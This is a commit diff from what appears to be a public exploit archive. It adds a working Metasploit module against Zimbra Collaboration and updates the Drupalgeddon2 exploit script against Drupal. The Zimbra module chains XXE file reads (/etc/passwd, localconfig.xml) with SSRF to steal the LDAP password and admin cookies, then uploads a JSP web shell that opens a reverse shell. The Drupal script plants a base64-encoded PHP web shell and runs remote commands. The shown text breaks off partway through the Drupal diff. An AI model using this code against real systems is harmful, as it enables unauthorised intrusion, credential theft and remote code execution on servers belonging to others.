DB: 2019-04-13
7 changes to exploits/shellcodes CyberArk EPM 10.2.1.603 - Security Restrictions Bypass Microsoft Internet Explorer 11 - XML External Entity Injection Microsoft Windows - Contact File Format Arbitary Code Execution (Metasploit) Zimbra Collaboration - Autodiscover Servlet XXE and ProxyServlet SSRF (Metasploit) ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit) Linux/x86 - Add User to Passwd File Shellcode (149 bytes)
This commit is contained in:
parent
285aecc39e
commit
fd2946662d
9 changed files with 1502 additions and 131 deletions
258
exploits/linux/remote/46693.rb
Executable file
258
exploits/linux/remote/46693.rb
Executable file
|
@ -0,0 +1,258 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF',
|
||||
'Description' => %q{
|
||||
This module exploits an XML external entity vulnerability and a
|
||||
server side request forgery to get unauthenticated code execution
|
||||
on Zimbra Collaboration Suite. The XML external entity vulnerability
|
||||
in the Autodiscover Servlet is used to read a Zimbra configuration
|
||||
file that contains an LDAP password for the 'zimbra' account. The
|
||||
zimbra credentials are then used to get a user authentication cookie
|
||||
with an AuthRequest message. Using the user cookie, a server side request
|
||||
forgery in the Proxy Servlet is used to proxy an AuthRequest with
|
||||
the 'zimbra' credentials to the admin port to retrieve an admin
|
||||
cookie. After gaining an admin cookie the Client Upload servlet is
|
||||
used to upload a JSP webshell that can be triggered from the web
|
||||
server to get command execution on the host. The issues reportedly
|
||||
affect Zimbra Collaboration Suite v8.5 to v8.7.11.
|
||||
|
||||
This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64
|
||||
UBUNTU16_64 FOSS edition.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'An Trinh', # Discovery
|
||||
'Khanh Viet Pham', # Discovery
|
||||
'Jacob Robles' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2019-9670'],
|
||||
['CVE', '2019-9621'],
|
||||
['URL', 'https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html']
|
||||
],
|
||||
'Platform' => ['linux'],
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ]
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 8443,
|
||||
'SSL' => true,
|
||||
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
|
||||
},
|
||||
'Stance' => Stance::Aggressive,
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2019-03-13' # Blog post date
|
||||
))
|
||||
|
||||
register_options [
|
||||
OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']),
|
||||
OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10])
|
||||
]
|
||||
end
|
||||
|
||||
def xxe_req(data)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, '/autodiscover'),
|
||||
'encode_params' => false,
|
||||
'data' => data
|
||||
})
|
||||
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503
|
||||
res
|
||||
end
|
||||
|
||||
def soap_discover(check_soap=false)
|
||||
xml = REXML::Document.new
|
||||
|
||||
xml.add_element('Autodiscover')
|
||||
xml.root.add_element('Request')
|
||||
|
||||
req = xml.root.elements[1]
|
||||
|
||||
req.add_element('EMailAddress')
|
||||
req.add_element('AcceptableResponseSchema')
|
||||
|
||||
replace_text = 'REPLACE'
|
||||
req.elements['EMailAddress'].text = Faker::Internet.email
|
||||
req.elements['AcceptableResponseSchema'].text = replace_text
|
||||
|
||||
doc = rand_text_alpha_lower(4..8)
|
||||
entity = rand_text_alpha_lower(4..8)
|
||||
local_file = '/etc/passwd'
|
||||
|
||||
res = "<!DOCTYPE #{doc} [<!ELEMENT #{doc} ANY>"
|
||||
if check_soap
|
||||
local = "file://#{local_file}"
|
||||
res << "<!ENTITY #{entity} SYSTEM '#{local}'>]>"
|
||||
res << "#{xml.to_s.sub(replace_text, "&#{entity};")}"
|
||||
else
|
||||
local = "http://#{srvhost_addr}:#{srvport}#{@service_path}"
|
||||
res << "<!ENTITY % #{entity} SYSTEM '#{local}'>"
|
||||
res << "%#{entity};]>"
|
||||
res << "#{xml.to_s.sub(replace_text, "&#{@ent_data};")}"
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
def soap_auth(zimbra_user, zimbra_pass, admin=true)
|
||||
urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount'
|
||||
xml = REXML::Document.new
|
||||
|
||||
xml.add_element(
|
||||
'soap:Envelope',
|
||||
{'xmlns:soap' => 'http://www.w3.org/2003/05/soap-envelope'}
|
||||
)
|
||||
|
||||
xml.root.add_element('soap:Body')
|
||||
body = xml.root.elements[1]
|
||||
body.add_element(
|
||||
'AuthRequest',
|
||||
{'xmlns' => urn}
|
||||
)
|
||||
|
||||
zimbra_acc = body.elements[1]
|
||||
zimbra_acc.add_element(
|
||||
'account',
|
||||
{'by' => 'adminName'}
|
||||
)
|
||||
zimbra_acc.add_element('password')
|
||||
|
||||
zimbra_acc.elements['account'].text = zimbra_user
|
||||
zimbra_acc.elements['password'].text = zimbra_pass
|
||||
|
||||
xml.to_s
|
||||
end
|
||||
|
||||
def cookie_req(data)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, '/service/soap/'),
|
||||
'data' => data
|
||||
})
|
||||
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
|
||||
res
|
||||
end
|
||||
|
||||
def proxy_req(data, auth_cookie)
|
||||
target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, '/service/proxy/'),
|
||||
'vars_get' => {'target' => target},
|
||||
'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}",
|
||||
'data' => data,
|
||||
'headers' => {'Host' => "#{datastore['RHOST']}:7071"}
|
||||
})
|
||||
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
|
||||
res
|
||||
end
|
||||
|
||||
def upload_file(file_name, contents, cookie)
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(file_name, nil, nil, 'form-data; name="filename1"')
|
||||
data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"")
|
||||
data.add_part("#{rand_text_numeric(2..5)}", nil, nil, 'form-data; name="requestId"')
|
||||
post_data = data.to_s
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, '/service/extension/clientUploader/upload'),
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data,
|
||||
'cookie' => cookie
|
||||
})
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = xxe_req(soap_discover(true))
|
||||
rescue Msf::Exploit::Failed
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.body.include?('zimbra')
|
||||
return CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
CheckCode::Unknown
|
||||
end
|
||||
|
||||
def on_request_uri(cli, req)
|
||||
ent_file = rand_text_alpha_lower(4..8)
|
||||
ent_eval = rand_text_alpha_lower(4..8)
|
||||
|
||||
dtd = <<~HERE
|
||||
<!ENTITY % #{ent_file} SYSTEM "file:///opt/zimbra/conf/localconfig.xml">
|
||||
<!ENTITY % #{ent_eval} "<!ENTITY #{@ent_data} '<![CDATA[%#{ent_file};]]>'>">
|
||||
%#{ent_eval};
|
||||
HERE
|
||||
send_response(cli, dtd)
|
||||
end
|
||||
|
||||
def primer
|
||||
datastore['SSL'] = @ssl
|
||||
res = xxe_req(soap_discover)
|
||||
fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value>(.*?)<\/value/m
|
||||
password = $1
|
||||
username = 'zimbra'
|
||||
|
||||
print_good("Password found: #{password}")
|
||||
|
||||
data = soap_auth(username, password, false)
|
||||
res = cookie_req(data)
|
||||
|
||||
fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/
|
||||
auth_cookie = $1
|
||||
|
||||
print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}")
|
||||
|
||||
data = soap_auth(username, password)
|
||||
res = proxy_req(data, auth_cookie)
|
||||
|
||||
fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/
|
||||
admin_cookie = $1
|
||||
|
||||
print_good("Admin cookie retrieved: #{admin_cookie}")
|
||||
|
||||
stager_name = "#{rand_text_alpha(8..16)}.jsp"
|
||||
print_status('Uploading jsp shell')
|
||||
res = upload_file(stager_name, payload.encoded, admin_cookie)
|
||||
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200
|
||||
# Only shell sessions are supported
|
||||
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name}' -type f)")
|
||||
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class' -type f)")
|
||||
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*class' -type f)")
|
||||
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*java' -type f)")
|
||||
|
||||
print_status("Executing payload on /downloads/#{stager_name}")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri, "/downloads/#{stager_name}"),
|
||||
'cookie' => admin_cookie
|
||||
})
|
||||
end
|
||||
|
||||
def exploit
|
||||
@ent_data = rand_text_alpha_lower(4..8)
|
||||
@ssl = datastore['SSL']
|
||||
datastore['SSL'] = false
|
||||
Timeout.timeout(datastore['HTTPDELAY']) { super }
|
||||
rescue Timeout::Error
|
||||
end
|
||||
end
|
|
@ -1,6 +1,6 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
|
||||
# [CVE-2018-7600] Drupal <= 8.5.0 / <= 8.4.5 / <= 8.3.8 / 7.23 <= 7.57 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
|
||||
#
|
||||
# Authors:
|
||||
# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
|
||||
|
@ -13,21 +13,20 @@ require 'json'
|
|||
require 'net/http'
|
||||
require 'openssl'
|
||||
require 'readline'
|
||||
require 'highline/import'
|
||||
|
||||
|
||||
# Settings - Proxy information (nil to disable)
|
||||
proxy_addr = nil
|
||||
proxy_port = 8080
|
||||
|
||||
|
||||
# Settings - General
|
||||
# Settings - Try to write a PHP to the web root?
|
||||
try_phpshell = true
|
||||
# Settings - General/Stealth
|
||||
$useragent = "drupalgeddon2"
|
||||
webshell = "s.php"
|
||||
writeshell = true
|
||||
webshell = "shell.php"
|
||||
# Settings - Proxy information (nil to disable)
|
||||
$proxy_addr = nil
|
||||
$proxy_port = 8080
|
||||
|
||||
|
||||
# Settings - Payload (we could just be happy without this, but we can do better!)
|
||||
#bashcmd = "<?php if( isset( $_REQUEST[c] ) ) { eval( $_GET[c]) ); } ?>'
|
||||
# Settings - Payload (we could just be happy without this PHP shell, by using just the OS shell - but this is 'better'!)
|
||||
bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
|
||||
bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"
|
||||
|
||||
|
@ -35,90 +34,199 @@ bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"
|
|||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
# Function http_post <url> [post]
|
||||
def http_post(url, payload="")
|
||||
uri = URI(url)
|
||||
request = Net::HTTP::Post.new(uri.request_uri)
|
||||
request.initialize_http_header({"User-Agent" => $useragent})
|
||||
request.body = payload
|
||||
return $http.request(request)
|
||||
# Function http_request <url> [type] [data]
|
||||
def http_request(url, type="get", payload="", cookie="")
|
||||
puts verbose("HTTP - URL : #{url}") if $verbose
|
||||
puts verbose("HTTP - Type: #{type}") if $verbose
|
||||
puts verbose("HTTP - Data: #{payload}") if not payload.empty? and $verbose
|
||||
|
||||
begin
|
||||
uri = URI(url)
|
||||
request = type =~ /get/? Net::HTTP::Get.new(uri.request_uri) : Net::HTTP::Post.new(uri.request_uri)
|
||||
request.initialize_http_header({"User-Agent" => $useragent})
|
||||
request.initialize_http_header("Cookie" => cookie) if not cookie.empty?
|
||||
request.body = payload if not payload.empty?
|
||||
return $http.request(request)
|
||||
rescue SocketError
|
||||
puts error("Network connectivity issue")
|
||||
rescue Errno::ECONNREFUSED => e
|
||||
puts error("The target is down ~ #{e.message}")
|
||||
puts error("Maybe try disabling the proxy (#{$proxy_addr}:#{$proxy_port})...") if $proxy_addr
|
||||
rescue Timeout::Error => e
|
||||
puts error("The target timed out ~ #{e.message}")
|
||||
end
|
||||
|
||||
# If we got here, something went wrong.
|
||||
exit
|
||||
end
|
||||
|
||||
|
||||
# Function gen_evil_url <cmd>
|
||||
def gen_evil_url(evil, feedback=true)
|
||||
# PHP function to use (don't forget about disabled functions...)
|
||||
phpmethod = $drupalverion.start_with?('8')? "exec" : "passthru"
|
||||
# Function gen_evil_url <cmd> [method] [shell] [phpfunction]
|
||||
def gen_evil_url(evil, element="", shell=false, phpfunction="passthru")
|
||||
puts info("Payload: #{evil}") if not shell
|
||||
puts verbose("Element : #{element}") if not shell and not element.empty? and $verbose
|
||||
puts verbose("PHP fn : #{phpfunction}") if not shell and $verbose
|
||||
|
||||
#puts "[*] PHP cmd: #{phpmethod}" if feedback
|
||||
puts "[*] Payload: #{evil}" if feedback
|
||||
# Vulnerable parameters: #access_callback / #lazy_builder / #pre_render / #post_render
|
||||
# Check the version to match the payload
|
||||
if $drupalverion.start_with?("8") and element == "mail"
|
||||
# Method #1 - Drupal v8.x: mail, #post_render - HTTP 200
|
||||
url = $target + $clean_url + $form + "?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
|
||||
payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpfunction + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
|
||||
|
||||
## Check the version to match the payload
|
||||
# Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render
|
||||
if $drupalverion.start_with?('8')
|
||||
# Method #1 - Drupal 8, mail, #post_render - response is 200
|
||||
url = $target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
|
||||
payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
|
||||
elsif $drupalverion.start_with?("8") and element == "timezone"
|
||||
# Method #2 - Drupal v8.x: timezone, #lazy_builder - HTTP 500 if phpfunction=exec // HTTP 200 if phpfunction=passthru
|
||||
url = $target + $clean_url + $form + "?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
|
||||
payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=" + phpfunction + "&timezone[a][#lazy_builder][][]=" + evil
|
||||
|
||||
# Method #2 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!)
|
||||
#url = $target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
|
||||
#payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil
|
||||
elsif $drupalverion.start_with?('7')
|
||||
# Method #3 - Drupal 7, name, #post_render - response is 200
|
||||
url = $target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil
|
||||
#puts warning("WARNING: May benefit to use a PHP web shell") if not try_phpshell and phpfunction != "passthru"
|
||||
|
||||
elsif $drupalverion.start_with?("7") and element == "name"
|
||||
# Method #3 - Drupal v7.x: name, #post_render - HTTP 200
|
||||
url = $target + "#{$clean_url}#{$form}&name[%23post_render][]=" + phpfunction + "&name[%23type]=markup&name[%23markup]=" + evil
|
||||
payload = "form_id=user_pass&_triggering_element_name=name"
|
||||
else
|
||||
puts "[!] Unsupported Drupal version"
|
||||
exit
|
||||
end
|
||||
|
||||
# Drupal v7 needs an extra value from a form
|
||||
if $drupalverion.start_with?('7')
|
||||
response = http_post(url, payload)
|
||||
# Drupal v7.x needs an extra value from a form
|
||||
if $drupalverion.start_with?("7")
|
||||
response = http_request(url, "post", payload, $session_cookie)
|
||||
|
||||
form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).to_s.strip
|
||||
puts "[!] WARNING: Didn't detect form_build_id" if form_build_id.empty?
|
||||
form_name = "form_build_id"
|
||||
puts verbose("Form name : #{form_name}") if $verbose
|
||||
|
||||
#url = $target + "file/ajax/name/%23value/" + form_build_id
|
||||
url = $target + "?q=file/ajax/name/%23value/" + form_build_id
|
||||
payload = "form_build_id=" + form_build_id
|
||||
form_value = response.body.match(/input type="hidden" name="#{form_name}" value="(.*)"/).to_s.slice(/value="(.*)"/, 1).to_s.strip
|
||||
puts warning("WARNING: Didn't detect #{form_name}") if form_value.empty?
|
||||
puts verbose("Form value : #{form_value}") if $verbose
|
||||
|
||||
url = $target + "#{$clean_url}file/ajax/name/%23value/" + form_value
|
||||
payload = "#{form_name}=#{form_value}"
|
||||
end
|
||||
|
||||
return url, payload
|
||||
end
|
||||
|
||||
|
||||
# Function clean_result <input>
|
||||
def clean_result(input)
|
||||
#result = JSON.pretty_generate(JSON[response.body])
|
||||
#result = $drupalverion.start_with?("8")? JSON.parse(clean)[0]["data"] : clean
|
||||
clean = input.to_s.strip
|
||||
|
||||
# PHP function: passthru
|
||||
# For: <payload>[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
|
||||
clean.slice!(/\[{"command":".*}\]$/)
|
||||
|
||||
# PHP function: exec
|
||||
# For: [{"command":"insert","method":"replaceWith","selector":null,"data":"<payload>\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
|
||||
#clean.slice!(/\[{"command":".*data":"/)
|
||||
#clean.slice!(/\\u003Cspan class=\\u0022.*}\]$/)
|
||||
|
||||
# Newer PHP for an older Drupal
|
||||
# For: <b>Deprecated</b>: assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br />
|
||||
#clean.slice!(/<b>.*<br \/>/)
|
||||
|
||||
# Drupal v8.x Method #2 ~ timezone, #lazy_builder, passthru, HTTP 500
|
||||
# For: <b>Deprecated</b>: assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br />
|
||||
clean.slice!(/The website encountered an unexpected error.*/)
|
||||
|
||||
return clean
|
||||
end
|
||||
|
||||
|
||||
# Feedback when something goes right
|
||||
def success(text)
|
||||
# Green
|
||||
return "\e[#{32}m[+]\e[0m #{text}"
|
||||
end
|
||||
|
||||
# Feedback when something goes wrong
|
||||
def error(text)
|
||||
# Red
|
||||
return "\e[#{31}m[-]\e[0m #{text}"
|
||||
end
|
||||
|
||||
# Feedback when something may have issues
|
||||
def warning(text)
|
||||
# Yellow
|
||||
return "\e[#{33}m[!]\e[0m #{text}"
|
||||
end
|
||||
|
||||
# Feedback when something doing something
|
||||
def action(text)
|
||||
# Blue
|
||||
return "\e[#{34}m[*]\e[0m #{text}"
|
||||
end
|
||||
|
||||
# Feedback with helpful information
|
||||
def info(text)
|
||||
# Light blue
|
||||
return "\e[#{94}m[i]\e[0m #{text}"
|
||||
end
|
||||
|
||||
# Feedback for the overkill
|
||||
def verbose(text)
|
||||
# Dark grey
|
||||
return "\e[#{90}m[v]\e[0m #{text}"
|
||||
end
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
def init_authentication()
|
||||
$uname = ask('Enter your username: ') { |q| q.echo = false }
|
||||
$passwd = ask('Enter your password: ') { |q| q.echo = false }
|
||||
$uname_field = ask('Enter the name of the username form field: ') { |q| q.echo = true }
|
||||
$passwd_field = ask('Enter the name of the password form field: ') { |q| q.echo = true }
|
||||
$login_path = ask('Enter your login path (e.g., user/login): ') { |q| q.echo = true }
|
||||
$creds_suffix = ask('Enter the suffix eventually required after the credentials in the login HTTP POST request (e.g., &form_id=...): ') { |q| q.echo = true }
|
||||
end
|
||||
|
||||
def is_arg(args, param)
|
||||
args.each do |arg|
|
||||
if arg == param
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
|
||||
# Quick how to use
|
||||
def usage()
|
||||
puts 'Usage: ruby drupalggedon2.rb <target> [--authentication] [--verbose]'
|
||||
puts 'Example for target that does not require authentication:'
|
||||
puts ' ruby drupalgeddon2.rb https://example.com'
|
||||
puts 'Example for target that does require authentication:'
|
||||
puts ' ruby drupalgeddon2.rb https://example.com --authentication'
|
||||
end
|
||||
|
||||
|
||||
# Read in values
|
||||
if ARGV.empty?
|
||||
puts "Usage: ruby drupalggedon2.rb <target>"
|
||||
puts " ruby drupalgeddon2.rb https://example.com"
|
||||
usage()
|
||||
exit
|
||||
end
|
||||
# Read in values
|
||||
|
||||
$target = ARGV[0]
|
||||
init_authentication() if is_arg(ARGV, '--authentication')
|
||||
$verbose = is_arg(ARGV, '--verbose')
|
||||
|
||||
|
||||
# Check input for protocol
|
||||
if not $target.start_with?('http')
|
||||
$target = "http://#{target}"
|
||||
end
|
||||
$target = "http://#{$target}" if not $target.start_with?("http")
|
||||
# Check input for the end
|
||||
if not $target.end_with?('/')
|
||||
$target += "/"
|
||||
end
|
||||
$target += "/" if not $target.end_with?("/")
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
# Banner
|
||||
puts "[*] --==[::#Drupalggedon2::]==--"
|
||||
puts action("--==[::#Drupalggedon2::]==--")
|
||||
puts "-"*80
|
||||
puts "[*] Target : #{$target}"
|
||||
puts "[*] Write? : Skipping writing web shell" if not writeshell
|
||||
puts info("Target : #{$target}")
|
||||
puts info("Proxy : #{$proxy_addr}:#{$proxy_port}") if $proxy_addr
|
||||
puts info("Write? : Skipping writing PHP web shell") if not try_phpshell
|
||||
puts "-"*80
|
||||
|
||||
|
||||
|
@ -127,8 +235,7 @@ puts "-"*80
|
|||
|
||||
# Setup connection
|
||||
uri = URI($target)
|
||||
$http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)
|
||||
|
||||
$http = Net::HTTP.new(uri.host, uri.port, $proxy_addr, $proxy_port)
|
||||
|
||||
# Use SSL/TLS if needed
|
||||
if uri.scheme == "https"
|
||||
|
@ -136,97 +243,309 @@ if uri.scheme == "https"
|
|||
$http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
end
|
||||
|
||||
$session_cookie = ''
|
||||
# If authentication required then login and get session cookie
|
||||
if $uname
|
||||
$payload = $uname_field + '=' + $uname + '&' + $passwd_field + '=' + $passwd + $creds_suffix
|
||||
response = http_request($target + $login_path, 'post', $payload, $session_cookie)
|
||||
if (response.code == '200' or response.code == '303') and not response.body.empty? and response['set-cookie']
|
||||
$session_cookie = response['set-cookie'].split('; ')[0]
|
||||
puts success("Logged in - Session Cookie : #{$session_cookie}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
# Try and get version
|
||||
$drupalverion = nil
|
||||
$drupalverion = ""
|
||||
|
||||
# Possible URLs
|
||||
url = [
|
||||
# --- changelog ---
|
||||
# Drupal v6.x / v7.x [200]
|
||||
$target + "CHANGELOG.txt",
|
||||
# Drupal v8.x [200]
|
||||
$target + "core/CHANGELOG.txt",
|
||||
|
||||
# --- bootstrap ---
|
||||
# Drupal v7.x / v6.x [403]
|
||||
$target + "includes/bootstrap.inc",
|
||||
# Drupal v8.x [403]
|
||||
$target + "core/includes/bootstrap.inc",
|
||||
|
||||
# --- database ---
|
||||
# Drupal v7.x / v6.x [403]
|
||||
$target + "includes/database.inc",
|
||||
# Drupal v7.x [403]
|
||||
#$target + "includes/database/database.inc",
|
||||
# Drupal v8.x [403]
|
||||
#$target + "core/includes/database.inc",
|
||||
|
||||
# --- landing page ---
|
||||
# Drupal v8.x / v7.x [200]
|
||||
$target,
|
||||
]
|
||||
|
||||
# Check all
|
||||
url.each do|uri|
|
||||
# Check response
|
||||
response = http_post(uri)
|
||||
response = http_request(uri, 'get', '', $session_cookie)
|
||||
|
||||
# Check header
|
||||
if response['X-Generator'] and $drupalverion.empty?
|
||||
header = response['X-Generator'].slice(/Drupal (.*) \(https:\/\/www.drupal.org\)/, 1).to_s.strip
|
||||
|
||||
if not header.empty?
|
||||
$drupalverion = "#{header}.x" if $drupalverion.empty?
|
||||
puts success("Header : v#{header} [X-Generator]")
|
||||
puts verbose("X-Generator: #{response['X-Generator']}") if $verbose
|
||||
end
|
||||
end
|
||||
|
||||
# Check request response, valid
|
||||
if response.code == "200"
|
||||
puts "[+] Found : #{uri} (#{response.code})"
|
||||
tmp = $verbose ? " [HTTP Size: #{response.size}]" : ""
|
||||
puts success("Found : #{uri} (HTTP Response: #{response.code})#{tmp}")
|
||||
|
||||
# Patched already?
|
||||
puts "[!] WARNING: Might be patched! Found SA-CORE-2018-002: #{url}" if response.body.include? "SA-CORE-2018-002"
|
||||
# Check to see if it says: The requested URL "http://<URL>" was not found on this server.
|
||||
puts warning("WARNING: Could be a false-positive [1-1], as the file could be reported to be missing") if response.body.downcase.include? "was not found on this server"
|
||||
|
||||
# Try and get version from the file contents
|
||||
$drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip
|
||||
# Check to see if it says: <h1 class="js-quickedit-page-title title page-title">Page not found</h1> <div class="content">The requested page could not be found.</div>
|
||||
puts warning("WARNING: Could be a false-positive [1-2], as the file could be reported to be missing") if response.body.downcase.include? "the requested page could not be found"
|
||||
|
||||
# If not, try and get it from the URL
|
||||
$drupalverion = uri.match(/core/)? "8.x" : "7.x" if $drupalverion.empty?
|
||||
# Only works for CHANGELOG.txt
|
||||
if uri.match(/CHANGELOG.txt/)
|
||||
# Check if valid. Source ~ https://api.drupal.org/api/drupal/core%21CHANGELOG.txt/8.5.x // https://api.drupal.org/api/drupal/CHANGELOG.txt/7.x
|
||||
puts warning("WARNING: Unable to detect keyword 'drupal.org'") if not response.body.downcase.include? "drupal.org"
|
||||
|
||||
# Done!
|
||||
break
|
||||
elsif response.code == "403"
|
||||
puts "[+] Found : #{uri} (#{response.code})"
|
||||
# Patched already? (For Drupal v8.4.x / v7.x)
|
||||
puts warning("WARNING: Might be patched! Found SA-CORE-2018-002: #{url}") if response.body.include? "SA-CORE-2018-002"
|
||||
|
||||
# Try and get version from the file contents (For Drupal v8.4.x / v7.x)
|
||||
$drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip
|
||||
|
||||
# Blank if not valid
|
||||
$drupalverion = "" if not $drupalverion[-1] =~ /\d/
|
||||
end
|
||||
|
||||
# Check meta tag
|
||||
if not response.body.empty?
|
||||
# For Drupal v8.x / v7.x
|
||||
meta = response.body.match(/<meta name="Generator" content="Drupal (.*) /)
|
||||
metatag = meta.to_s.slice(/meta name="Generator" content="Drupal (.*) \(http/, 1).to_s.strip
|
||||
|
||||
if not metatag.empty?
|
||||
$drupalverion = "#{metatag}.x" if $drupalverion.empty?
|
||||
puts success("Metatag: v#{$drupalverion} [Generator]")
|
||||
puts verbose(meta.to_s) if $verbose
|
||||
end
|
||||
end
|
||||
|
||||
# Done! ...if a full known version, else keep going... may get lucky later!
|
||||
break if not $drupalverion.end_with?("x") and not $drupalverion.empty?
|
||||
end
|
||||
|
||||
# Check request response, not allowed
|
||||
if response.code == "403" and $drupalverion.empty?
|
||||
tmp = $verbose ? " [HTTP Size: #{response.size}]" : ""
|
||||
puts success("Found : #{uri} (HTTP Response: #{response.code})#{tmp}")
|
||||
|
||||
if $drupalverion.empty?
|
||||
# Try and get version from the URL (For Drupal v.7.x/v6.x)
|
||||
$drupalverion = uri.match(/includes\/database.inc/)? "7.x/6.x" : "" if $drupalverion.empty?
|
||||
# Try and get version from the URL (For Drupal v8.x)
|
||||
$drupalverion = uri.match(/core/)? "8.x" : "" if $drupalverion.empty?
|
||||
|
